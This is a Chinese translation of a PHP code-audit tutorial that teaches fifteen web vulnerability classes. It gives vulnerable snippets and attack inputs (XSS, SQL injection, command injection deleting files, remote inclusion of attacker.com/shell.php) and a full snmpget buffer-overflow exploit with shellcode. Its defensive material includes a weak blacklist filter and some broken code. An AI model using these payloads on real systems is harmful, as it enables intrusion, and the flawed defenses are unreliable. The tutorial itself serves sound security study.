PHPFuzzing行動——原始碼審計
作者:Shahin Ramezany
譯者:riusksk(泉哥:http://riusksk.blogbus.com)
目錄:
Section 1:
20種PHP原始碼快速審計方式
Section 2:
PHP原始碼審計自動化( PHP Fuzzer )
風險級別:
■ Low
■ Medium
■ High
在開始PHP程式碼分析之前,讀者必須先完成以下兩項工作:
1. 安裝PHP程式;
2. 使用支援PHP程式碼高亮的編輯器(比如Emeditor – Notepad++)。
筆者在下文中所提供的方法僅作為簡單的攻擊和防禦參考。本文旨在介紹攻擊和防禦方法。
注意1:其中一些話題歸Wikipedia版權所有
注意2:必須在PHP原始碼中尋找以下變數:
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
以上變數均為PHP中的可輸入變數。
注意3:關於這些變數的更多資訊可訪問PHP官方網站:www.php.net。
Section 1: 20種PHP原始碼快速審計方式
1- Cross Site Scripting (XSS) / CRLF [Medium]
跨站指令碼(XSS)屬於WEB程式中的一類電腦保安漏洞,它允許在使用者瀏覽的網頁中注入惡意程式碼,比如HTML程式碼和客戶端指令碼。可利用的跨站指令碼漏洞可被攻擊者用於繞過訪問控制,比如同源策略(same origin policy)。這類漏洞可被用於構造釣魚攻擊和瀏覽器攻擊。
攻擊:
攻擊者在其請求中注入HTML程式碼。
Exp 1:
<?php
$error_message = $_GET[`error`];
print $error_message ;
?>
index.php?error=<script>alert(document.cookie)</script>
Exp 2:
<html>
<body>
<input name=”show_courses” value=”<?php echo $_GET[`show_courses`]; ?>” >
</body>
</html>
#http://127.0.0.1:81/1.php?show_courses=”><script>alert(document.cookie);</script>
防禦:
<?php
$error_message = $_GET[`error`];
print htmlspecialchars($error_message );
?>
更多資料:
http://ha.ckers.org/xss.html
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.googlebig.com/forum/cross-site-scripting-attack-and-defense-guide-t-178.html
2- SQL Injection [medium]
SQL隱碼攻擊是利用WEB程式資料層的安全漏洞進行程式碼注入的技術。當使用者輸入的資料中並未對嵌入的SQL宣告語句進行正確過濾時,或者使用者並沒有被嚴格地限制輸入,從而導致惡意程式碼被執行,就有可能造成SQL隱碼攻擊漏洞。這是一類很普遍的安全漏洞,它可在任何時候發生於被嵌入的程式設計或指令碼語言之中。
攻擊:
SQL隱碼攻擊是PHP程式碼審計過程中發現的最為嚴重的漏洞之一,關於這類攻擊更多的資訊可以通過閱讀下面提供的參考資料獲得,而這裡只是簡述此類漏洞而已。
Example 1:
<?php
$id= $_GET[`id`];
$query= “SELECT * FROM users WHERE id= ` “ .$id.” ;”
…
?>
index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*
Example 2:
#login.php:
<?
//login.php — SQL Injection Vulnerable page
//Attack and defence php apps book
//shahriyar – j
$user = $_POST[`user`];
$pass = $_POST[`pass`];
$link = mysql_connect(`localhost`, `root`, `pass`) or die(`Error: `.mysql_e
rror());
mysql_select_db(“sql_inj”, $link);
$query = mysql_query(“SELECT * FROM sql_inj WHERE user =`”.$user.”` AND pas
s =`” .$pass. “`”,$link);
if (mysql_num_rows($query) == 0) {
echo”<scripttype=”text/javascript”>window.location.href=`index.html`;</sc
ript>”;
exit;
}
$logged = 1;
?>
當使用者(可能為攻擊者)傳送$_POST[`user`] , $_POST[`pass`]給 login.php時,這些變數直接儲存在SQL請求命令中。如果攻擊者傳送:
$user = 1` OR `1` = `1
$pass = 1` OR `1` = `1
將會繞過login.php的登陸驗證,讀者當注意此類程式碼。
防禦:
下面是通用的防注入程式碼:
<?php
$title = $_POST[`title`]; // user input from site
$description = $_POST[`description`]; // user input from site
// define the cleaner
$dirtystuff = array(“””, “\”, “/”, “*”, “`”, “=”, “-
“, “#”, “;”, “<“, “>”, “+”, “%”);
// clean user input (if it finds any of the values above, it will replace it with
whatever is in the quotes – in this example, it replaces the value with nothing)
$title = str_replace($dirtystuff, “”, $title); // works!
$description = str_replace($dirtystuff, “”, $description); // works!
// input: I “like/ green< ** veg`et=a-bles> ;and< pizza**
// output: I like green vegetables and pizza
// input: a`;DROP TABLE users; SELECT * FROM data WHERE name LIKE `%
// output: aDROP TABLE users SELECT FROM data WHERE name LIKE
?>
<譯註:最好還是採用白名單的過濾方式>
更多資訊 :
http://en.wikipedia.org/wiki/Sql_injection
http://drewish.com/files/SQL Injection Overview.ppt
http://www.php.net/manual/en/security.database.sql-injection.php
攻擊例項:
http://www.milw0rm.com/papers/241
http://www.milw0rm.com/papers/202
2- HTTP Response Splitting [Medium]
HTTP響應分裂是一種WEB程式漏洞,它可以導致應用程式或者環境設定對輸入值的過濾失效,也可以執行跨站指令碼攻擊,跨使用者攻擊,WEB快取中毒以及其它類似的攻擊。
重要的HTTP頭列表:
在PHP語言中,我們可以使用”header”函式來設定HTTP頭,在一些PHP原始碼中,你可以發現”header”, “$_SERVER”等函式。在”$_SERVER”函式中的一些引數包含有使用者輸入的資料:
REQUEST_URI, PATH_INFO, QUERY_STRING
Example 1:
<?php
redirect_page = $_GET[`page`];
header (“Location: ” . redirect_page);
?>
redirect.php?page=http://www.abysssec.com
For $_SERVER:
<?php
echo “Welcome From ” . $_SERVER[`HTTP_REFERER`];
?>
可以使用Mozilla Firefox外掛”Tamper Data”來傳送通常的HTTP header:
https://addons.mozilla.org/en-US/firefox/addon/966
Example 2 :
<?php
$Name = “test”; //senders name
$email = “email@adress.com“; //senders e-mail adress
$recipient = $_GET[`to`];//recipient
$mail_body = “The text for the mail…”; //mail body
$subject = “Subject …”; //subject
$header = “From: “. $Name . ” <” . $email . “>
“;
mail($recipient, $subject, $mail_body, $header); //mail command ?
?>
CRLF是HTTP Response Splitting的另一種方式。在上面的例子中,行4中的$recipient變數並沒有對所有的輸入資料進行檢測,以致攻擊者可以新增“CC”:
預設輸入為:
$headers = “From: myplace@here.com
“;
$headers .= “CC: sombodyelse@noplace.com
“;
“CC” 和 ”From” 被 ”
” 分隔。
汙染輸入:
Mail.php?to=info@test.com
CC: sombodyelse@noplace.com
防禦:
1- 檢測Mail Header的輸入值
2- 可使用以下方式輸入,而不用URL輸入:
<?php
$id = $_GET[`url_id`];
if ($id == 1) {
header (“Location: ” . redirect_page);
}
?>
和:
<?php
echo “Welcome From ” . htmlspecialchars($_SERVER[`HTTP_REFERER`]);
?>
攻擊例項:
(video) : http://www.milw0rm.com/video/watch.php?id=28
http://www.securiteam.com/unixfocus/6F00Q0K6AK.html
http://o0o.nu/~meder/o0o_Blogger_HTTP_response_splitting.txt
http://www.securityfocus.com/archive/1/369405
4- 動態賦值漏洞 [High]:
1-當使用動態函式載入時,可通過請求來執行指定的函式,導致攻擊者可以執行任意函式。
攻擊:
<?php
$myfunc = $_GET[`myfunc`];
$myfunc();
?>
Index.php?myfunc=phpinfo
2-全域性函式漏洞
Register Global是危險的“PHP擴充套件”:
當其開啟時,register_globals可利用各種變數注入指令碼程式碼,比如來自HTML表單的請求。這種漏洞主要與PHP變數未初始化相關,以致輕而易舉地即可向其寫入惡意程式碼。這是一個艱難地抉擇,但PHP官方最後依然決定在預設情況下禁止該指令。當允許該指令時,使用者仍可使用變數,但無法確定它是來自哪裡,而只能靠猜測。在指令碼中定義的內部變數很容易與使用者傳送的請求資料相混淆,而只能通過禁止register_globals來解決這種情況。下面演示一個未使用register_globals的例子:
Admin.php
<?php
if (isset($is_admin)) {
//Yes, I`m the admin so call the Administration Pannel
[…]
} else {
//No, I`m not the admin
[…]
}
?>
# admin.php?is_admin=1
另一個說明register_globals存在問題的例子就是下面關於動態路徑的包含:
<?php
include “$path/script.php”;
?>
當允許register_globals時,可用以下方式請求頁面:
Index.php?path=http://evil.example.org/?
相當於下面的請求:
<?php
include `http://evil.example.org/?/script.php`;
?>
注意(php.ini配置):
如果allow_url_fopen 是enabled(預設情況下是enabled,甚至在php.ini中民被推薦的設定),這將包含http://evil.example.org/的輸出,正如本地檔案一般。這是一個嚴重的安全漏洞,這也是在一些開源的程式碼程式中被發現的。
防禦:
不要使用這種方式去載入函式,這是一個危險地帶!任何時候,任何情況下,Register Global都應該關閉!或者將變數的內容設定如下:
<?php
$is_admin =();
if (isset($is_admin)) {
//Yes, I`m the admin so call the Administration Pannel
[…]
} else {
//No, I`m not the admin
[…]
}
?>
攻擊例項 / 資訊:
http://www.milw0rm.com/exploits/7705
http://wiki.lunarpages.com/PHP_and_Register_Global_Variables
5- 程式控制/PHP程式碼注入 (HIGH):
當我們使用下列函式:“PHP程式執行函式&程式控制”,並且使用者可以輸入變數(見上面),那麼將導致任意的PHP程式碼被執行。
PHP程式控制列表:
Exec
system
passthru
shell_exec
proc_open
pcntl_exec
Example 1:
<?php
$page = $_GET[`page`];
system (“type ” . $page);
?>
# index.php?page=/etc/passwd | uname –a
Example 2:
下列程式碼是來自一項管理系統的WEB程式,它允許使用者封裝批處理檔案進行Oracle資料庫備份,然後執行cleanup.bat指令碼去清除一些臨時檔案。rmanDB.bat可接受單命令列引數,由它指定備份型別。因為資料庫訪問是受限的,備份程式需要許可權使用者才可執行。
<?
…
$btype = $_GET[`backuptype`];
$cmd = “cmd.exe /K “c:\util\rmanDB.bat ” . $btype . “&&c:\utl\cleanup.
bat””;
system(cmd);
…
?>
這個問題主要是讀取使用者資料的backuptype引數時未對其進行任何有效地過濾所導致的。特別是Runtime.exec()函式將不能執行多條命令,但在這種情況下,程式為了單次呼叫Runtime.exec()以執行多條命令,它就得先去執行cmd.exe shell。Shell一經呼叫,它將會分別執行被點號分隔的多條命令。如果攻擊者傳送一條經惡意構造的命令”&& del c:\dbms\*.*”,那麼程式將隨之執行該條命令。由於程式需要一定的許可權才能與資料庫互動,因此被注入的任何命令都將以此許可權執行。
當程式設計師使用eval()函式操作內部資料時,這些資料都可能會被攻擊者關注到,因為它很容易導致程式碼執行漏洞的發生:
<?php
$install = $_REQUEST[`install_command`];
eval($install);
?>
上面的程式碼如玫瑰香一般誘人,因為它可能被用來執行程式碼注入。
install.php?install_command=phpinfo();
例項程式碼:
<?php
[…]
$register_poll_vars = array(“id”,”template_set”,”action”);
for ($i=0;$i<sizeof($register_poll_vars);$i++) {
if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
eval(“$$register_poll_vars[$i] =
“”.trim($HTTP_POST_VARS[$register_poll_vars[$i]]).””;”);
} elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
eval(“$$register_poll_vars[$i] =
“”.trim($HTTP_GET_VARS[$register_poll_vars[$i]]).””;”);
} else {
eval(“$$register_poll_vars[$i] = “;”);
}}
[…]
?>
$$register_poll_vars[$i] 是使用者輸入的變數。
http://[target]/comments.php?id=”;[PHPCODE]//&template_set=”;[PHPCODE]//&action=”;[PHPCODE]//
攻擊例項:
http://www.milw0rm.com/exploits/3758
http://www.milw0rm.com/exploits/309
6- 本地/遠端檔案包含(High):
本地或者遠端檔案包含是PHP程式碼審計中的高危漏洞,攻擊者可利用它載入本地或者遠端檔案到PHP WEB頁面。
危險函式:
include
include_once
require
require_once
show_source
highlight_file
readfile
file_get_contents
fopen
file
通常,PHP中的每一個“檔案系統函式”都可能是危險的,可參見這裡:
http://ir.php.net/manual/en/ref.filesystem.php
本地檔案包含:
<?php
include(`../geshi.php`);
if ( isset($_POST[`submit`]) ) //*
{
//*
if ( get_magic_quotes_gpc() ) $_POST[`source`] =
stripslashes($_POST[`source`]);
if ( !strlen(trim($_POST[`source`])) )
{
//BUG is HERE
$_POST[`source`] = implode(“, @file(`../geshi/` . $_POST[`language`] .
`.php`));
$_POST[`language`] = `php`;
}
?>
在星號*標記的一行中,如果存在變數$_POST [`submit`]和 $_POST [`language`],那麼你就可以讀取任何的PHP檔案。因此,我們可以利用此漏洞讀取config.php檔案!
Exploit:
<form action=”http://[HOST]/example.php” method=”post”>
Path to file:
example: ../../../../config
<textarea name=”language”></textarea>
<input type=”submit” name=”submit” value=”See”>
</form>
注意:
在本地檔案包含(LFI)攻擊中,攻擊者可讀取對方主機中的任何日誌檔案和本地檔案。也許這種檔案瀏覽並不能造成多大危害,但攻擊者可先構造一個錯誤,然後該錯誤會被記錄在伺服器上的日誌檔案中(apache log / error log等等)。當攻擊者向目標主機請求一個未存在的檔案時:
Test000.php?code=<?php;phpinfo();?>
這將會把全路徑地址都記錄在error.log檔案中(在本例中,你的日誌檔案路徑可能與筆者不同),與此同時,當我們利用LFI漏洞的變數去載入error.log時,攻擊者即可執行自己的PHP程式碼。
預設日誌檔案路徑列表:
var/log/httpd/access_log
var/log/httpd/error_log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
etc/httpd/logs/access_log
etc/httpd/logs/access.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache/access.log
var/log/access_log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache/error.log
var/log/access_log
var/log/error_log
Example:
http://www.milw0rm.com/exploits/2270
(譯註:關於更多的LFI2RCE技術可以參見我在部落格http://riusksk.blogbus.com上寫的一篇文章《利用PHP程式碼實現LFI2RCE》,網上對本文的轉載是不完整的,因為後來我又補寫了一段上去。)
遠端檔案包含:
遠端檔案包含攻擊允許惡意使用者在存在漏洞的主機上執行自己的PHP程式碼,攻擊者可包含存放在網上空間中用PHP編寫的網頁(惡意)程式碼。例如下面的一段漏洞程式碼:
<?php
if (eregi(“theme.php”, $_SERVER[`PHP_SELF`]))
die();
global $theme, $_FNROOTPATH,$lang; //<– REQUEST Variable
global $forumback, $forumborder;
$_FN[`table_background`]=&$forumback;
$_FN[`table_border`]=&$forumborder;
if ($forumback==”” && $forumborder==””){
$forumback=”ffffff”;
$forumborder=”000000″;
} // Load File
require_once ($_FNROOTPATH . “themes/$theme/theme.php”);
…
?>
Exploit:
由於變數$_FNROOTPATH未明確地指定數值,因此攻擊者可以注入本地的惡意檔案到URL中,並在目標伺服器上執行:
http://localhost/~flatnux/index.php?_FNROOTPATH=http://attacker.com/shell.php%00
攻擊例項:
http://www.milw0rm.com/exploits/8066
http://www.milw0rm.com/exploits/8025
http://www.milw0rm.com/exploits/7939
http://www.milw0rm.com/exploits/7969
http://www.milw0rm.com/exploits/6817
7 –檔案管理 (HIGH):
有些PHP函式可用於檔案管理,如果偷懶的程式設計師沒有對輸入變數進行很好地檢測,那麼就可能造成這種高危漏洞。
Copy函式:
<?php
$file = $_GET[`cpFile`];
$newfile = “/user/local/www/html/tmp/file.php”;
if (!copy($file, $newfile)) {
echo “failed to copy $file…
“;
} else {
echo ” thanks ..”
}
?>
攻擊者可以複製其它檔案,比如`/etc/passwd` into `$newfile`,然後讀取它。
http://victim.com/index.php?cpfile=/etc/passwd
其它危險函式如下:
檔案刪除 [見PHP.Net]:
Rmdir
unlink
delete
fwrite
壓縮 & 解壓縮函式:
<?php
$file = “/tmp/foo.bz2”;
$bz = bzopen($file, “r”) or die(“Couldn`t open $file for reading”);
bzclose($bz);
?>
8- 緩衝區溢位 (High, 但難利用):
當程式設計師使用下面的危險函式時:
confirm_phpdoc_compiled
mssql_pconnect
mssql_connect
crack_opendict
snmpget
ibase_connect
緩衝區溢位漏洞就可能發生在上面的函式中。
緩衝區溢位舉例(snmpget()):
<?php
$host = $_GET[`host`];
$timeout = $_GET[`timeout`];
$syscontact = snmpget(“$host”, “public”, “$timeout”);
?>
Exploit:
<?php
// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit
// rgod [-> R.I.P] + Edited By Abysssec INC
// site: http://retrogod.altervista.org
// win xp sp2 version
if (!extension_loaded(“snmp”)){
die(“you need the snmp extension loaded.”);
}
$____scode=
“xebx1b”.
“x5b”.
“x31xc0”.
“x50”.
“x31xc0”.
“x88x43x59”.
“x53”.
“xbbx6dx13x86x7c”. //WinExec
“xffxd3”.
“x31xc0”.
“x50”.
“xbbxdaxcdx81x7c”. //ExitProcess
“xffxd3”.
“xe8xe0xffxffxff”.
“x63x6dx64”.
“x2e”.
“x65”.
“x78x65”.
“x20x2f”.
“x63x20”.
“start notepad & “;
$edx=”x64x8fx9bx01″; //jmp scode
$eip=”x73xdcx82x7c”; //0x7C82DC73 jmp edx
$____suntzu=str_repeat(“A”,188).$edx.str_repeat(“A”,64).$eip.str_repeat(“x
90″,48).$____scode.str_repeat(“x90”,48);
//more than 256 chars result in simple eip overwrite
$curl = curl_init();
//Send Time out
curl_setopt ($curl, CURLOPT_URL, “http://target.com/snmp.php?host=127.0.
0.1&timeout=$____suntzu”);
curl_exec ($curl);
curl_close ($curl);
?>
9- Cookie / Session injection / Fixation / [High]:
會話安全是一個高階話題,成為被頻繁攻擊的目標也就不足為奇了。主要的session攻擊包括會話冒充,攻擊者可以訪問到由其它使用者發起的會話。對於攻擊者而言,最為重要的資訊莫過於會話ID(session identifier),因為這是完成會話冒充攻擊必備的條件。下面有三種方法可以獲得一個有效的會話ID:
● 預測法
● 捕獲法
● 注視法
預測法可用於猜測有效的會話ID。由於PHP本有的會話機制,會話ID都是非常隨機化的,因此這裡並不是執行攻擊的最薄弱點。
捕獲有效的會話ID是最為普遍的會話攻擊型別,當然,這還有很多其它方法。由於會話ID是在cookies或者GET變數中傳輸的,因此各種攻擊方式都主要聚焦於這些傳輸方式。當瀏覽器存在一些關於cookies的漏洞時(大部分是發生在Internet Explorer中),cookies比GET變數曝露會話ID的機率更低,因此對於大多數使用cookies的使用者,你可以為他們提供一種更為安全的傳輸機制——利用cookie傳輸會話ID。
注視法是獲取有效會話ID最為簡單的方式。這種方法很難被防禦,但如果你的會話機制僅僅使用session_start(),那麼就可能存在漏洞。為了演示這種會話注視法,請看下面的程式碼,session.php:
<?php
session_start();
if (!isset($_SESSION[`visits`]))
{
$_SESSION[`visits`] = 1;
}
else
{
$_SESSION[`visits`]++;
}
echo $_SESSION[`visits`];
?>
當首次訪問該頁面時,你可以看到1被輸出到螢幕上。在隨後的每次訪問中,該數值將會隨之增加,以反映頁面訪問次數。
為了演示session fixation,首先需要確保你的電腦上並不存在會話ID(可以刪除cookies),然後將?PHPSESSID=1234新增到URL中以訪問該頁面。接著,以完全不同的瀏覽器(甚至是完全不同的計算機)訪問新增了?PHPSESSID=1234的URL地址。此時你將會看到螢幕上並沒有輸出1,而是繼續你之前開始的會話。
為何存在這種問題呢?大部分的session fixation攻擊只是簡單地使用一個連結或者一個協議,以將使用者重定向到一個包含會話ID的URL地址的遠端站點。使用者可能並不會注意到,因為這個站點將顯示完全相同的內容。由於會話ID已被獲知了,那麼就可以利用它來發動偽造攻擊,比如會話劫持(session hijacking)。
一次像這樣簡單的攻擊是很容易被阻止的。如果正在活動的會話與使用者擁有的會話ID無關,那麼它可以重新生成會話ID:
<?php
session_start();
if (!isset($_SESSION[`initiated`]))
{
session_regenerate_id();
$_SESSION[`initiated`] = true;
}
?>
對於這樣簡單的防禦,攻擊者只需用一個特定的會話ID初始化session即可,然後使用該ID發動攻擊。為了阻止這類攻擊,首先應當知道會話劫特只在使用者登陸後有效,或者要不然就是獲得高許可權後才有用。因此,如果當許可權級別改變時(例如核實使用者名稱和密碼後),我們就應該修改即將重新生成的會話ID,這樣我們才能真正地消除被session fixation攻擊的風險。
會話劫持(Session Hijacking)
在所有被用來訪問他人會話的攻擊技術中,會話劫持無疑是最普遍的一種會話攻擊技術。正如session fixation一樣,如果你的會話機制僅由session_start()組成,那麼它就存在漏洞,即使利用起來並不簡單。與其關注如何阻止會話ID被竊取,倒不如想想如何成功地完成一次會話ID竊取。由於會話偽造的每一步複雜化都會提高我們的安全性,因此為了將會話劫持複雜化,我們需要檢查成功完成會話劫持所需要的每一步驟。在每一種方案中,我們都將假設會話ID已被竊取。在最為簡單的會話機制中,一個有效的會話ID是會話劫持成功與否的關鍵所在。為了完善它,我們需要檢視用於其它認證的HTTP請求中是否還有其它東西。
注意
單純地依靠TCP/IP層上的東西(比如IP地址)是不明智的,因為一些更為底層的協議無法相容發生在HTTP層上的行為。一個使用者可能用不同的IP地址去完成每一次的請求,多個使用者也可能擁有共同的IP地址。
一個典型的HTTP requtest:
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
由於Host header是HTTP/1.1所必需的,因此依靠其它資訊是不明智的。但是,防禦的堅固程度確實是我們所需要的,因為我們關注的是如何增加會話偽造的難度,以防止危害到合法使用者。假設之前的request是由下面與之不同的User-Agent請求的:
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
雖然相同的cookie是存在的,但是是否可以假設它們是同一使用者呢?這似乎與瀏覽器更改請求包中的User-Agent header很不同吧?下面我們修改會話機制以進行對比:
<?php
session_start();
if (isset($_SESSION[`HTTP_USER_AGENT`]))
{
if ($_SESSION[`HTTP_USER_AGENT`] != md5($_SERVER[`HTTP_USER_AGENT`]))
{
/* Prompt for password */
exit;
}
}
else
{
$_SESSION[`HTTP_USER_AGENT`] = md5($_SERVER[`HTTP_USER_AGENT`]);
}
?>
現在攻擊者不僅需要提供一個有效的會話ID,而且還必須提供與會話中相匹配的User-Agent header。雖然這使事情輕微的複雜化,但這可以使它變得更為安全了。
我們是否還可以再提高它的安全性呢?人們認為獲取cookie值的通用方式就是利用瀏覽器(比如IE)漏洞。這些攻擊方式包括受害者訪問攻擊者的惡意站點,因此攻擊者也可以獲取正確的User-Agent header。這就要求我們必須採取其它的保護方式以對抗這種情況。如果我們要求使用者在每一項請求中都必須傳輸User-Agent的MD5值,那麼攻擊者將無法篡改受害者的請求包中所包含的頭資訊了,但這也將需要再傳送一項附加資訊了。當這一特定的token容易被猜測到時,我們可以將這一猜想工作複雜化,以提高猜想的難度,這隻需簡單地新增一個隨機生成的額外資料即可構造出token:
<?php
$string = $_SERVER[`HTTP_USER_AGENT`];
$string .= `SHIFLETT`;
/* Add any other data that is consistent */
$fingerprint = md5($string);
?>
記住,我們是在cookie中傳輸會話ID的,這就導致了攻擊者常常得去破壞cookie(可能所有的HTTP頭也是如此)才能竊取到會話ID,因此我們應該以URL變數來傳輸fingerprint。這些都必須在所有的URL中傳輸,即使是會話ID也是如此,因為這些都是必需的,這樣會話才能自動地保持下去(還得通過所有檢測)。
為了確保合法使用者不會像犯人一樣被對待,這就需要在檢測失敗時要求輸入密碼。如果在你的檢測方法中存在錯誤,比如錯誤地判斷一個發動偽造攻擊的使用者,那麼在繼續操作前就得要求輸入密碼,以確保在這種情況下受到最小的攻擊。事實上,使用者可能在察覺到這種請求方式後,會感激你新增了這種保護方式。
其實還有其它各種不同的方法可以用來提高偽造會話的複雜程度,以防止發生會話劫持。同時希望在對session_start()的額外處理上,你可以有自己的想法。總之只需記住:為難壞小子,方便好小子。
攻擊例項:
http://www.milw0rm.com/exploits/3508
http://www.milw0rm.com/exploits/858
http://www.milw0rm.com/exploits/871
10 – 拒絕服務[Medium, But Hard Assessment]:
WEB程式特別容易受到拒絕服務攻擊。一個WEB程式很難講清惡意資料傳輸與普通資料傳輸之間的不同,這裡面有多方面的因素,但是其中最為重要的一點就是:由於多種原因,IP地址不能作為可行的鑑定證照。由於沒有一種可靠的方式可以得知HTTP request來自哪裡,這就導致很難過濾掉一些惡意的資料傳輸。對於分散式攻擊,程式又該如何去辨別真實攻擊與多使用者同時過載資料(網站的這種臨時問題是可能發生的)或者獲取“slash dotted”之間的不同呢?
例如:
<?php
//….
$user_mode=$_SERVER[`HTTP_USER_AGENT`];
$user_ip=$_SERVER[`SERVER_ADDR`];
$sql = “INSERT INTO tbl_name (..) VALUES($user_mode,$user_ip);”;
//Summon Myssql For each Request and Write into it.
//..
?>
當一些訪問者請求檢視目標站點時,他們的資訊(例如IP及瀏覽器資訊)將會被記錄在MYSQL資料庫中。與此同時,當一些使用者(或者一些攻擊者發動請求)傳送請求後,Mysql 伺服器將對其進行處理。
其它迴圈函式,比如:[While, for …]
一旦攻擊者可摧毀一些必需的資源,那麼他們就可以阻止合法使用者使用系統。一些被限制的資源包括頻寬,資料庫連線,磁碟儲存,CPU,記憶體,執行緒,或者程式特定資源。
攻擊例項:
http://archive.cert.uni-stuttgart.de/bugtraq/2006/01/msg00397.html
http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-03/msg00092.html
在上例中:
profile.php:註冊使用者,註冊中我們可以使安全程式碼圖片失效
search.php:通過資料庫不能記錄到的方式進行搜尋。
11 – XPath注入 [XML函式]:
SQL隱碼攻擊是最為普遍的程式碼注入攻擊方式,但我們這裡要講述的是其它一些可危害到你的程式及資料的其它注入攻擊方式,主要包括LDAP注入和XPath注入。`XPath injection`與SQL隱碼攻擊相似,但它的攻擊目標是XML document,而非SQL資料庫。`XPath Injection`是用於攻擊WEB站點的攻擊技術,用於構造來自使用者提供的XPath請求。
例如:
<?php
$test = $_GET[`test`];
if ($test){
$xml = simplexml_load_file(“1.xml”);
$result = $xml->xpath($test);
print_r($result);
}
?>
1.xml :
<?xml version=”1.0″ encoding=”UTF-8″?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don`t forget me this weekend!</body>
</note>
Good Query :
Index.php?test=from
Good Result :
Array ( [0] => SimpleXMLElement Object ( [0] => Jani ) )
Bad Query :
Index.php?test=*
Good Result For US ! :
Array ( [0] => SimpleXMLElement Object ( [0] => Tove ) [1] => SimpleXMLElement Object ( [0] => Jani
) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] =>Don`t forget me this weekend! ) )
這是一個存在漏洞的PHP程式!
注意:
Xpath Injection有多種方式,比如SQL/Xpath Inject , Basic Xpath Inject & …
更多資訊:
http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf
http://www.ibm.com/developerworks/xml/library/x-xpathinjection.html
http://joginipally.blogspot.com/2007/10/code-injection-xpath-injection.html
http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml
攻擊例項:
http://www.securityfocus.com/archive/1/466211
12 – 常被濫用: 檔案上傳 (High):
當允許檔案上傳到你的系統時,你就得承擔一定的風險,因為檔案可能並非它所顯示出來的那樣(偽裝為圖片以上傳PHP指令碼,並將其移動到他們可以執行它的地方等等)。如果你的站點不需要上傳檔案,那麼禁止它將可以防止因疏忽造成的錯誤而被上傳惡意檔案。
Example 1:下列程式碼用於處理上傳的檔案,它將檔案移動到WEB根目錄下。攻擊者可以上傳惡意PHP原始檔給該程式以及來自服務端的後續請求,這將導致它們被PHP直譯器執行(查詢$_FILES函式)。
<?php
$udir = `./`; // Relative path under Web root
$ufile = $udir . basename($_FILES[`userfile`][`name`]);
if (move_uploaded_file($_FILES[`userfile`][`tmp_name`], $ufile)) {
echo “Valid upload received
“;
} else {
echo “Invalid upload rejected
“;
} ?>
即使程式將檔案儲存在一個不可通過WEB訪問的目錄下,攻擊者依然可以將惡意內容注入到服務端環境中以發動其它攻擊。如果程式易遭受到路徑操作,命令注入或者遠端檔案包含漏洞等的影響,那麼攻擊者可能會上傳一個包含惡意內容的檔案,以使程式通過可利用的漏洞去讀取或執行它。
攻擊 (傳送檔案):
<html>
<body> <form enctype=”multipart/form-data” method=POST>
<input type=file name=”userfile”>
<input type=”submit”>
</form>
</body>
</html>
防禦:
如果使用者並不需要上傳檔案,那麼就關閉它。
PHP.ini:
file_uploads = off
攻擊例項:
http://www.milw0rm.com/exploits/2937
http://securityvulns.com/Tdocument590.html
13 – 函式/檔案的未認證呼叫(Medium):
一些管理目錄下的檔案原本是禁止訪問的,但由於程式設計師忘記對這些檔案進行驗證,以致漏洞的發生。攻擊者必須對存在此問題的檔案進行檢測。當PHP程式在未經許可的情況下呼叫管理函式時,攻擊者可呼叫這些函式:
#index.php
<?php
include (“Function.php”);
$action=$_GET[`action`];
if ($action == $actionArray[$action][0])) {
#load proper Function with $_GET
…
}
?>
#Function.php
<?php
$actionArray = array(
`activate` => array(`Register, `Activate`),
`admin` => array(`Admin`, `Admin`),
`upload`=> array(`Post`, `upload`),
`ban` => array(`ManageBans`, `Ban),
);
function Forum (){
#Authorize Function
…
}
Function upload (){
# admin function without Permission
…
}
}
本例中攻擊者可在未經許可的情況下載入管理函式:
# index.php?action=upload
14 – 通過暴力破解繞過登陸驗證 (Low):
當程式設計師未對嘗試登陸失敗的次數進行檢測時,攻擊者可以在一些登陸頁面上通過暴力破解繞過驗證。
注意:當一個懶惰的程式設計師使用basic authentication來保護他/她的控制皮膚時,這將給攻擊者提供一次暴力破解的機會。
<?php
if (!isset($_SERVER[`PHP_AUTH_USER`])) {
header(`WWW-Authenticate: Basic realm=”My Realm”`);
header(`HTTP/1.0 401 Unauthorized`);
echo `Text to send if user hits Cancel button`;
exit;
} else {
echo “<p>Hello {$_SERVER[`PHP_AUTH_USER`]}.</p>”;
echo “<p>You entered {$_SERVER[`PHP_AUTH_PW`]} as your password.</p>”;
}
?>
攻擊例項:
大部分的商業管理系統(CMS),例如:OS-commerce (在某些版本中)。
15 –不安全的隨機命名Session / Cookie / 備份檔案(Medium):
在命名session & cookie &備份檔案時,將其隨機化,可能會出賣它們。
例如:
<?php
$rnd = rand(1,100);
$fp = fopen($rnd.`_backup_.sql`, `w`);
fwrite($fp, $db );
fclose($fp);
?>
